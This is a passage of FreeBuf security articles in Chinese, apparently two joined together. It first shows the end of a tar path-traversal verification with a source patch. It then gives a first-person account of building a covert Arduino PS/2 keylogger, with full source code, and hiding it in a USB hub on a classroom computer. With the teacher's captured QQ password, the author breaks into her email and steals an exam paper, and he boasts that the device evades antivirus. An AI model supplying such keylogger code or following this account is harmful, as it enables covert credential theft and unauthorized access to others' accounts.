我们明明是解压到etc/motd的目录下,它却解压到etc的根目录下,覆盖了shadow文件,因此到这里,我们就成功的验证了漏洞。

实验结果分析与总结

漏洞修复

自己琢磨了一段时间之后,发现在safer_name_suffix中添加判断,如果检测到 ../ 字符串,直接报错,然后退出程序,如下:

--- lib/paxnames.c.orig    2016-04-06 00:04:47.314860045 +0300

+++ lib/paxnames.c      2016-04-06 02:08:44.962297881 +0300

@@ -18,6 +18,7 @@

#include &lt;system.h&gt;

#include &lt;hash.h&gt;

#include &lt;paxlib.h&gt;

+#include &lt;quotearg.h&gt;

/* Hash tables of strings.  */

@@ -114,7 +115,15 @@

     for (p = file_name + prefix_len; *p; )

       {

         if (p[0] == '.' &amp;&amp; p[1] == '.' &amp;&amp;(ISSLASH (p[2]) || !p[2]))

-          prefix_len = p + 2 - file_name;

+            {

+            static char const *constdiagnostic[] =

+            {

+              N_(&quot;%s: Member namecontains '..'&quot;),

+              N_(&quot;%s: Hard link targetcontains '..'&quot;)

+            };

+            FATAL_ERROR ((0, 0,_(diagnostic[link_target]),

+                          quotearg_colon(file_name)));

+          }

这种方法的确可以修复漏洞,但还有一点不足,用户在配置文件或者操作文件时,如果遇到 ../ 这种情况,到一半就强行停止下来,这样的话用户体验度很差。

*本文作者:LEdge1,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

*本文作者:LEdge1,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

前言

我在freebuf上面看过有人使用arduino制作键盘记录的设备但是,说真的,他们都没有实战过,今天我给大家带来一下实战!

今天我要说的是一个学渣的逆袭过程。

由于上学期考试挂科了,也是我大学里面最后一个学期了,我可不想重修啊。想着寒假在家好好复习,到学校来好好参加考试,但是寒假里面的诱惑太多了,不说在家抢红包吧,各种朋友邀请出去吃饭就已经花费了大半个寒假了,平时还想睡一个懒觉,哪有什么时间去学习啊!

到学校来复习时不可能的,寝室集体开黑。马上要补考了,这可怎么办,不怕不怕。其实我早有妙招。

前期分析

偶然的机会,知道补考卷子在老师手上,老师们一般传输文件无外乎QQ,微信,百度云,邮箱了,要是能拿到他的QQ账号密码的话就好办多了,有些人的百度云也是通过QQ登陆的,邮箱的。目前来看,老师平时收作业都是通过QQ邮箱来收的,所以说只要拿到QQ账号密码就可以了就很有可能拿到考试卷子!

忘了账号我已经有了,要拿到老师的密码可不是一件简单的事情啊。想来想去,要拿到他的密码就要知道老师的一些习惯,这让我想到了,平时老师总是喜欢在下课的时候通过QQ把上课的讲义发到群里面去给大家复习。哈哈,要是我能在学校的电脑上安装键盘记录软件就好了,可是想来想去,我没有权限啊,除了在学校的网站上申请使用学校教室里面的电脑,其他没有任何其他办法给电脑安装键盘记录软件啊,本来想着使用BADUSB的,但是发现我连插上的机会都没有哎。算了。还是想其他法子吧。突然想到了可以从键盘入手,改造键盘哈哈哈哈。

早在上学期帮老师调试电脑的时候发现学校的键盘是usb接口的,而且键盘抽屉下面有很多杂乱的地方,全部是一些点电线什么的。正好符合之前我制作的要求!

献给大家分析一下具体的实施办法吧:

我之前制作的小设备是直接把键盘的线拨开,直接接线,这次就不能这么干了,毕竟剥线太浪费时间最好是能在短时间之内解决。现场接线,在那种比较慌张的情况下,很容易就搞错了。我之前的做法是直接将读取到的内容存到单片机的EEPROM 中,为了方便我自己,我决定修改一下自己的电路,让单片机读取到的内容存到我的内存卡中;并且为了隐蔽,我要把东西做到足够小,我最后把他藏到了我的是 usbhub 中。实战的时候我直接在键盘和电脑之间加上了我的 usbhub 。方便快捷,最主要还十分隐蔽,加上键盘下面全部是电线,一点也看不出来。

经过

想到之前使用arduino制作键盘记录设备的时候,我就知道这次可以使用这个法子窃取到键盘输入的内容了!说干就干!

Arduino 本身使用的主控芯片只有 16Mhz ,作为 USBLow Speed 设备发送已经力不从心,更不要说直接对 USB 信号采样。 所以我在淘宝上买了两个PS2的转接口回来,里面有芯片进行解码,我在网上看了很多资料,终于搞懂了ps2接口协议。

接下来说一下PS2键盘一些资料吧。

在计算机主机上的ps2是母口的,因此排列顺序与上图正好相反.这6根线中只有Data和Clock用于数据传输,这样看来键盘记录器的原理其实并不复杂,我们需要一块微控制器和一个存储器,微控制器从键盘的data针脚读取输入数据,存入存储器之后,再通过主机ps2插口上的data输出,如下图所示:

最后就是如何让我的单片机读取输入了,每次键盘输入的时候会解析出一些和这个格式差不多的二进制码 01 00 000000 00 00 00 每个按键都有不同的数据,只要对应好,就可以很简单的读取出来,这里我还得说一下,绕过防火墙,杀毒软件的问题。我制作的设备只是读取键盘输出的电平信号,压根没有在系统里面运行,这么会被检测到!

下面给出一些制作过程由于arduino 官方所推荐的第三方ps2键盘库,实现了基本的数字、字母和各种符号的输入,截获的按键代码直接转换成每个键的ascii值,但缺点是支持的功能键很少,有些键按照其中的规则定义,会互相产生冲突,比如F1-F12键,就与从p到z的一组字母冲突,因为在键盘ascii码标准中它们的值是一样的,使用时需要增加额外的规则来判定,为此,我对这个库做了修改,实现了ctrl和字母的组合,alt和字母的组合,不冲突的F1-F12功能键,大小写切换以及原来库里面已经实现的翻页和上下等特殊键。

这里我给出我当时测试时的照片。下面我贴出代码,这是我测试的时候写的代码。具体实现的目的是读取键盘输入,然后存到我的内存卡里面。

#include <PS2Keyboard.h>
#include <SPI.h>//调用SD卡头文件
#include <SD.h>//调用SD卡头文件

const int DataPin = 8;
const int IRQpin = 3;
const int chipSelect = 4;

PS2Keyboard keyboard;
File myFile;


void setup()
{
delay(1000);
keyboard.begin(DataPin, IRQpin);
Serial.begin(9600);//设置串口波特率为9600
myFile = SD.open("REC.txt", FILE_WRITE);//打开文件REC.txt,若无则自动创建,但必须加入FILE_WRITE函数
Serial.println("键盘测试:");
// while (!Serial)
// {
// ; //等待串行端口连接。 仅适用于本机USB端口
// }

Serial.println("Initializing SD card...");//正在初始化SD卡

//如果为非则初始化失败
if (!SD.begin(4)) {
Serial.println("initialization failed!");
return;
}
Serial.println("initialization done.");//初始化结束

//打开文件
myFile = SD.open("REC.txt", FILE_WRITE);//打开文件REC.txt,若无则自动创建,但必须加入FILE_WRITE函数

if (myFile)
{
//如果文件能正确打开,则做一下动作
Serial.print("Writing to...");//串口显示正在写入中。。。
//myFile.println("遥控信号记录开始");//写入数据
//myFile.close();//关闭文件
//Serial.println("done.");
}
else
{
// 如果文件不能正常打开,串口输出错误提示
Serial.println("error opening test.txt");
}
myFile.println("键盘记录开始");//写入数据
//for(int z=1;z<10;z++)
//{
// myFile.println("键盘记录开始");//写入数据
//}
//myFile.close();//关闭文件
Serial.println("done.");
myFile.close();//关闭文件
Serial.println("关闭文件");
Serial.println("setup函数执行完成");
Serial.println("即将进入loop函数");
}

void loop() {
Serial.println("进入loop函数:");

if (keyboard.available())
{
Serial.println("keyboard激活:");


myFile = SD.open("REC.txt", FILE_WRITE);//打开文件REC.txt,若无则自动创建,但必须加入FILE_WRITE函数

char c = keyboard.read();//读取键盘输入,将输入存入字符变量c中

// 检测一些特殊按键
if (c == PS2_ENTER) {
//Serial.println();
myFile.println("");//写入数据
} else if (c == PS2_TAB) {
//Serial.print("[Tab]");
myFile.print("[Tab]");//写入数据
} else if (c == PS2_ESC) {
//Serial.print("[ESC]");
myFile.print("[ESC]");//写入数据
} else if (c == PS2_PAGEDOWN) {
//Serial.print("[PgDn]");
myFile.print("[PgDn]");//写入数据
} else if (c == PS2_PAGEUP) {
//Serial.print("[PgUp]");
myFile.print("[PgUp]");//写入数据
} else if (c == PS2_LEFTARROW) {
//Serial.print("[Left]");
myFile.print("[Left]");//写入数据
} else if (c == PS2_RIGHTARROW) {
//Serial.print("[Right]");
myFile.print("[Right]");//写入数据
} else if (c == PS2_UPARROW) {
//Serial.print("[Up]");
myFile.println("[Up]");//写入数据
} else if (c == PS2_DOWNARROW) {
//Serial.print("[Down]");
myFile.print("[Down]");//写入数据
} else if (c == PS2_DELETE) {
//Serial.print("[Del]");
myFile.print("[Del]");//写入数据
} else {
// 如果不是的话,就输出本该输出的字符
Serial.print(c);
myFile.print(c);//写入数据
}
}
myFile.close();//关闭文件
}

里面的注释写的很详细!

我使用手上的一块单片机加上在淘宝上买的ps2转usb的公母头各一个,还有一个sd卡模块。当然了还有一些电阻电容的,我也不详细说了。

最后为了安装方便,我牺牲了我自己的usbhub,把做好的小东西藏到了usbhub的盒子里面去了。

附上一张全部装好的图,这里我也不打广告了,这个usbhub相当不错!(只不过当时制作的比较匆忙,没有过多的照片)

接下来时属于安装过程

带着我的小设备去教室,在前一天晚自习的时候撑着下晚自习人多的时候,给电脑安装上了我的设备。这套设备在自己的电脑上面测试过很多次了一点问题都没有。

接下来属于作死过程

第二天来了啊,一上课等老师打开电脑,我全程看着电脑屏幕,没有比这个更认真的了,听见系统提示的声音了,我的心提到了嗓子眼,应该是我usbhub在安装驱动吧,过了一会,啥事没有电脑也没有报错,我之前在自己电脑上调试的时候,有时候会发现电脑无法识别键盘的问题。接下来我心就定了下来,安安心心上着第二学期的课。下课,老师想往常一样登陆了QQ上传了文件,焦急的等待之后,终于下课了,我先上了个厕所,然后回来拿书包,这时候教室里面已经没有人了,我就背着我的书包到电脑前拔下我的额设备,将键盘放回之前的样子。

TMD碰到倒垃圾的同学,我不认识,不怕。一点不慌的,回了寝室,从设备里面取出内存卡啊啊啊!!!

开始分析数据咯

前面有一串奇怪的代码,这些字母应该不是老师输入的,因为自己测试的时候发现自己的键盘每次通电之后也会在我的sd卡里面生成一些数据,接下来的就是账号密码了,不知道为什么账号和密码之间有一段空白,如果老师是按下tab键的话我写的程序应该显示的是【tab】啊。我在这猜想可能是老师不小心按下了空格键吧,但是也不会有那么多吧。反正老师使用电脑也就输出这些东西,其他的也没看见她输入。 由于不习惯使用王爷编辑器,导致我的密码文档的图片跑到上面去了。(请小编帮忙编辑一下咯)

看到了老师的QQ号,接下里就是密码了吧,哈哈哈哈上课看老师输入密码的时候没有输入错误啥的。

接下来就是焦急的等待了,现在肯定不能上他的QQ号啊。哎,老师的还是八位QQ。等到晚上三点左右我估摸着老师也该休息了。开始作案,晚上三点之前还在电脑前,我室友还以为我在准备复习呢!

先等qq,发现QQ有设备锁,我记得上课从来没看见要设备锁啊。

我去,接下来所有的希望就寄托在邮箱上了。登陆邮箱发现额,文件太多了。找了半个小时,最后找到了补考卷子,我永远没想到补考卷子竟然和第一次考试的卷子一起出出来了。当时差点就没找到,因为我想着,肯定会就在这几天发出来,但是看了这几天有附件的邮件都是没有的,所有我就向前找了,找到了我第一次考试的压缩包,其实我压根没想到是补考卷子。我当时也是要快奔溃了,下载下来玩玩的,没想到打开后,尴尬了,里面有两张卷子,哈哈哈哈哈哈哈,我要开始学习了。

在此我要声明一下,我只拿了卷子,其他任何事情都没干,也没看看什么个人隐私,我的想法很单纯。

这次内容涉及到的键盘拦截硬件方面的软件和硬件方面的问题我一概不回,包括这次所有的照片我连单片机都没有拍。这次的拍摄的照片比较少,毕竟当时没有想起来要写文档。

最后:在这里说一下任何防止这样的攻击,使用软键盘输出。网上有很多这样的软件,最主要win下还自带。避免使用键盘输入,带来的硬件方面的信息暴露,其实就是在输入密码的时候可以故意输错,任何在重新输入,或者中间留几个空,输入完成之后在来填补那个空,不过这个方法比较烦,基本除了像我这样的人没人会用了(尤其不在自己电脑上输入密码的时候采用这种方式)。最后说一下我之前准备使用badusb攻击的防范方法,其实啊badusb是模拟键盘输入,执行一些恶意的命令,但是这个时候要是你电脑上面安装了火绒地话,就不会出现这样的问题了,我在接下来的稿件中将会展示一下如何防止badusb攻击的办法!

*本文作者:LEdge1,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。